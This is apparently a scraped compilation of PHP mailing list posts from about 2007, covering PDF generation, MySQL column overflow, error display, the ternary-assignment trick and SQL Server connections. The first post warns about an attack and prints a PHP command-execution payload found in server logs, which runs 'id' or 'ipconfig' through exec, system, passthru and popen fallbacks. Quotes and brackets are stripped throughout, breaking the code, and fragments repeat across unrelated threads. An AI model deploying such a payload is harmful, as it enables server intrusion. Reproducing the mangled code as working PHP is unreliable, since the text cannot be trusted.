[PHP] evil script in server logs (Heads Up)
I am taking a quick look through the access logs on our dev box, and
came across this little nasty that was trying to execute itself as a XSS
attack(?)
?
$ker = @php_uname();
$osx = @PHP_OS;
echo f7f32504cabcb48c21030c024c6e5c1abr;
echo h2SysOSx:$ker/h2/br;
echo h2SysOSx:$osx/h2/br;
if ($osx == WINNT) { $xeQt=ipconfig -a; }
else { $xeQt=id; }
$hitemup=ex($xeQt);
echo $hitemup;
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join(\n,$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,r)))
{
$res = ;
while([EMAIL PROTECTED]($f)) { $res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
?
So far, it is coming from http://www.vesprokat.ru/n and

Be aware and check that your files are not vulnerable, although they are only
going to get your
users and groups info, as well as OS, you should all look out for this.

You can up the error_reporting level in your php.ini, or you can simply
put the following line at the top of your script:
ini_set(error_reporting, E_ALL);
or for an even stricter setting:
ini_set(error_reporting, E_STRICT);

You will also need to set:
ini_set('display_errors', 'On');
Some web hosts set it Off by default for security reasons, but you probably
want it on for development and testing.

Re: [PHP] Generating PDF files (XSLT, ps, XSL-FO, FOP, etc)
Yannick Warnier wrote: but you can't generate a PDF using XML and XSLT, although XSLT is, to my understanding, made to enable export in various formats from the same XML file. XSLT is a style language, and you could quite possibly make it produce a PDF. It seems that in this case (exporting from XML to PDF), you need to first convert the XML to a XSL-FO format (using XSLT) and then convert that XSL-FO format into PDF, and the only way to do that last step at the moment seems to be to use Apache's FOP project, which requires Java and a server-side component that you are unlikely to be authorized to install on a low-cost hosting server. There is more than one way to skin a cat. I generate PDFs in batch using an OpenOffice document template (which is XML anyway), merge that with my XML data using xalanc, and then openoffice to create the PDF. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Super bizarre changing variable!!
This is indeed the complete code, I did not cut anything out for brevity, which is why this appears to be so impossible. eAccelerator is activated, could something be corrupt? Could a corrupt index cause this? In table1, `referer` is int(12). In table2, `data` is text In table2, `friend_id` is mediumint(9) - which I see is a problem in some cases, $referer can (rarely) be 10 digits long, so I just changed it to int(12) When $referer is being set it's probably a string type, but the contents are ALWAYS a valid integer.

How the flying f*^%k is this possible??? I've been tearing my hair out for 3 days over this. Almost all records show 8388607 in that FRIEND_ID field. Once in a blue moon, a different value is shown, which does match the value in DATA. So it's displaying this erroneous behavior 95% of the time but not always.

One table has 34,000,000 records and it's OK if this is hung up for a few minutes but not much longer than that - any chance this change might take longer than 5 or 10 minutes? It can take a while depending on the power of your server, the load it's under and the number of indexes you have on the table etc. I've had updates on large tables take like 20-30 minutes before :( One thing you can do to help reduce the posibility of having mismatched fields like this in the future is to use a DB Storage backend that supports Foreign keys e.g. InnoDB or the next version of MyISAM (I think) for MySQL... Foreign keys basically tell the DB engine this field in this table can only except values that are entered into this other field in this other table. The DB will refuse to let you add a foreign key if the fields are different types. There are many other advantages to foreign keys too, like ensuring data integrity at the DB level (making the application logic simpler in many cases) and vastly simplifying delete operations through the use of cascading deletes.

Hi Brian, Friday, October 5, 2007, 2:10:32 PM, you wrote: I definitely misunderstood what you guys are saying about the length. That's clearly a problem for a lot of my values. I can switch them both to bigint. One table has 34,000,000 records and it's OK if this is hung up for a few minutes but not much longer than that - any chance this change might take longer than 5 or 10 minutes? Impossible to quantify to be honest - it will depend a lot on what the server is doing at the time, how much RAM/CPU it has, etc. I'd recommend duplicating the table to a different server entirely (a local test box perhaps) and then running the change and timing it. It's the only way you'll really know - at the very least I'd strongly recommend you take the MySQL server totally offline when you make the change. Not only will it do it faster, it will avoid anyone on the site browsing into a world of pain.

Is there any way of viewing all error messages on the browser itself. Thanks From what I read in your other posts, it sounds like you have a parse error in your script. Even if you place the lines at the top of scripts as others have suggested, it will not fix your issue if your script has a parse error in it. This is because PHP pre-parses each script. But only after it is able to parse all the scripts, does it actually start running the script(s). My suggestion is to use modify the php.ini file directly and change the values that the others have suggested or, if you're using Apache, use a .htaccess file with the values set to force(on startup) php to display errors. This has bit me in the rear a few times myself. So, in your php.ini file, set these: display_errors = On error_reporting = E_ALL and if you have to use a .htaccess file, do this php_value error_reporting E_ALL php_value display_errors On Doing a quit google search I found this.

Re: [PHP] Empty Array?
I would advise against using intval if the sql data type is anything
greater and/or equal to int unsigned.
PHP on 32 bit systems: intval can only handle values up to 2147483647.
sql unsigned int can go up to |4294967295 and bigints even higher
This could cause serious problems ...

Hello, I need to handle very large file uploads and push the data into a socket.

It would be much more efficient if i could disable PHP's built-in handler of POST form data and handle the incoming data directly from the script by reading php://input . (I am aware that i will need to do multi-part MIME processing inside the script, if I read directly the raw POST data sent by the browser) Is there a way to completely disable the built-in POST form data handling of PHP and handle the data inside the script by reading php://input ?

Hi gang:
I asked this question on the javascript list, but for some reason
it's taking forever to post there. So, I figured that I would ask
here as well.
I'm currently sending data (the value of s) to another script via the
html statement:
a href=img.php?s=?php echo($value);?Click here/a
However, I need to add another variable, namely a javascript
variable, to the GET string.
How can I send both a php and a javascript variable together at the same time?
the question is when is the variable you want to append available to
the javascript.
as soon as you get the variable in the javascript the next thing you
can do is append
it to the value of the href attribute of the a tag.
html
head
script type=text/javascript
window.onload = function() {
var someLinkHref = document.getElementById('someLink').href;
someLinkHref += anotherVar=8;
alert(someLinkHref);
}
/script
/head
body
a id=someLink href=
http://somesite.com?a=5http://somesite.com?a=5;
click here
/a
/body
/html
if you want to use the onclick event handler as rob suggested, you
could stash the variable in the Window global object, then reference
it in the implementation of the onclick function (though i still
have mixed feelings about that approach [the Window object part that
is]).
-nathan

Your example worked very well to provide an alert showing exactly
what I needed to be in the href string. However, it didn't work to
actually alter the actual link href string -- even when I commented
out the alert. IOW, it remained:
http://somesite.com?a=5http://somesite.com?a=5
instead of:
http://somesite.com?a=5http://somesite.com?a=5anotherVar=8
I like the idea of keeping the code unobtrusive and working as it did
-- I just need it to work as a link.
Any ideas? This is so close.

Once the file is completely uploaded, only then does php get the file handed to it. if on *nix, you could write your own daemon that listens on an alternate port and have your form post its uploads to that given port instead. Then PHP would handle the entire process. -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them.

For example, just leaving a ; from a line termination will cause the browser window to display nothing. This was the hardest thing I had to get used to in programming php and still have problem with editing large amounts of code.

the question is when is the variable you want to append available to

as soon as you get the variable in the javascript the next thing you
can do is append
it to the value of the href attribute of the a tag.

if you want to use the onclick event handler as rob suggested, you
could stash the variable in the Window global object, then reference

the problem was the local variable was being assigned the value of the

We just did that proof in the office as well. With a little echoing you
will see that when $r is TRUE it is set to 1, when it is false it is set
to NULL.
But it still should not work logically because you are performing an
assignment in the IF (it doesn't have to be ternary to work, that is
just elegant).
?php
echo pre;
echo ($r = !$r)?Yes\n:No\n;
echo $r.\n;
echo ($r = !$r)?Yes:No;
echo $r.\n;
if($r = !$r){
echo Yes\n;
}else{
echo No\n;
}
echo $r.\n;
if($r = !$r){
echo Yes\n;
}else{
echo No\n;
}
echo $r.\n;
echo /pre;
?
Returns
Yes
1
No
Yes
1
No
Yes
1
No
Yes

It looks like PHP has an unintentional feature. Doing this; if($r =
!$r) should always return TRUE because it is an assignment. I don't know
if I would rely on this.

RE: [PHP] Alternate Colors in Rows ($r=!$r)
First, I am flattered for all the elegant comments.
Honestly, this is PHP 102 level stuff, so I don't see all the fuss.
Yes it is the ternary operator -- I'm a big fan of that one.
(http://us.php.net/manual/en/language.expressions.php)
In the below example, (while sloppy on my part), by NOT initializing the $r,
it defaults to Boolean 'false' (not true as in the example), therefore !$r
will be Boolean true. So this just keeps bouncing between the two each time.
http://us.php.net/manual/en/language.variables.php
It is not necessary to initialize variables in PHP however it is a very
good practice. Uninitialized variables have a default value of their type -
FALSE, zero, empty string or an empty array.
?php
echo ($unset_bool ? true : false); // false
$unset_int += 25; // 0 + 25 = 25
echo $unset_string . abc; // . abc = abc
$unset_array[3] = def; // array() + array(3 = def) = array(3 = def)
?
Anyways, I think everyone has analyzed this to death, and it's time for
ya'll to get back to work! :) Just add it to your arsenal of 'snippets' and
move on with your lives. HAHAH. Peace out yo.

We just did that proof in the office as well. With a little
echoing you
will see that when $r is TRUE it is set to 1, when it is
false it is set
to NULL.
But it still should not work logically because you are performing an
assignment in the IF (it doesn't have to be ternary to work, that is
just elegant).
?php
echo pre;
echo ($r = !$r)?Yes\n:No\n;
echo $r.\n;
echo ($r = !$r)?Yes:No;
echo $r.\n;
if($r = !$r){
echo Yes\n;
}else{
echo No\n;
}
echo $r.\n;
if($r = !$r){
echo Yes\n;
}else{
echo No\n;
}
echo $r.\n;
echo /pre;
?
Returns
Yes
1
No
Yes
1
No
Yes
1
No
Yes
1
No
It looks like PHP has an unintentional feature. Doing this; if($r =
!$r) should always return TRUE because it is an assignment. I
don't know
if I would rely on this.

I suppose my point is that some things start out as mysterious simply because they are a bit esoteric, further down in the manual. But I agree with you, Nathan, in principle, about mysterious code making things fragile. When I first got comfortable with the ternary operator, I went crazy trying to write cool one-liner conditional statements with it. Then, months (or even days) later, when I needed to make changes to those one-liners, I had to scratch my head a lot to figure out what was what. I've since decided that sometimes, in the interest of de-mystifying my own code, there's nothing like a good old IF loop.

Since PHP is loosely typed we all know that an assignment will occur regardless of what is assigned. That why we use additional operators to determine the TRUEness of a statement; if($r == !$r) or if($r === !$r) That is why we code conditional checks (if we're smart) by putting the constant on the left hand side of the check to reduce/locate typographical errors when coding conditional checks; if(1 == $foo), because if we assign $foo to 1 the compiler will throw an error and we can fix it pretty quickly. I never do that. It's unnatural to read. But others get good mileage out of it. This is one of those special cases where this logic gets thrown out. I am going to see if the same thing will work in C++ because I am pretty sure that no other language has this featuremaybe C. It is legal in C, C++, Java, JavaScript, SmallTalk, probably almost every other language out there. However, convention I believe is to place an extra set of parenthesis around the assignment for clarity. In fact, many C compilers will spout a warning if you don't put the extra set of parenthesis around the assignment. Example: if( ($r = !$r) ) Cheers, Rob. -- ...

Re: [PHP] Sessions running out of storage space - Increase memory?
It's already in an array format. I don't remember off the top of my head but there's some function like resultsarray which turns the resutls into an array. I'm already storing the array in the session. John A DAVIS [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED] stick in in an array in a session Dan [EMAIL PROTECTED] 10/3/2007 2:21 PM I need to retrieve a huge amount of data form a database and do so many times. To eliminate the overhead of connecting to the database and pulling down all that info over and over, I'm trying to pull it down only once and stick it into a session. The problem is I get the first few results and everything works fine. But then after those first 5 or so I only get 0's. My first thought is that this is because of a limit on memory that sessions can take up or file size/space where the sessions are stored. I looked in the PHP.INI and I didn't find anything though.

[PHP] Connect PHP to Remote SQL Server?
Apache and PHP 4.3.9 are on a *nix server and we don't have root access, HOWEVER we can have the tech support perform pretty much any action except re-compile PHP (for which they charge), but I'm hoping i could dynamically load extensions during run-time. I just need to know which extensions. PHP has been compiled with unixODBC and dbx (there is no mssql extension on the server). These look like likely tools for a SQL server connection, but nothing works. I can't find anything about unixODBC in relation to PHP, unless FreeTDS is mentioned as well. I tried loading odbc.so during runtime, but it can't be found. Same for mssql.so. Should we add these files to the extensions dir for use with dl()? Should we install FreeTDS? Should we do both? How can we do this without recompiling PHP? I have the remote SQL server IP, the port number, the username and the password. The web server IP has been added to the allow list for the SQL Server. Any advice will be welcome. Thanks in advance! Leaning on the PHP list, Jason

if they're not there they can't be loaded.
i would say use freetds since i've used it in the past. not sure about
what is the best nowadays for sql server 2k/etc. i used freeTDS with
php 4 to connect to mssql. i forget wihch version. maybe 6.0, maybe
7.0 if there was one?
i'm thinking there is a way for ODBC to connect but again, no clue.
How can we do this without recompiling PHP?
i don't think you can.
note: with freetds you have to do something like putenv('TDSVER=70');
before connecting if you're having issues. you may have to google for
that too.
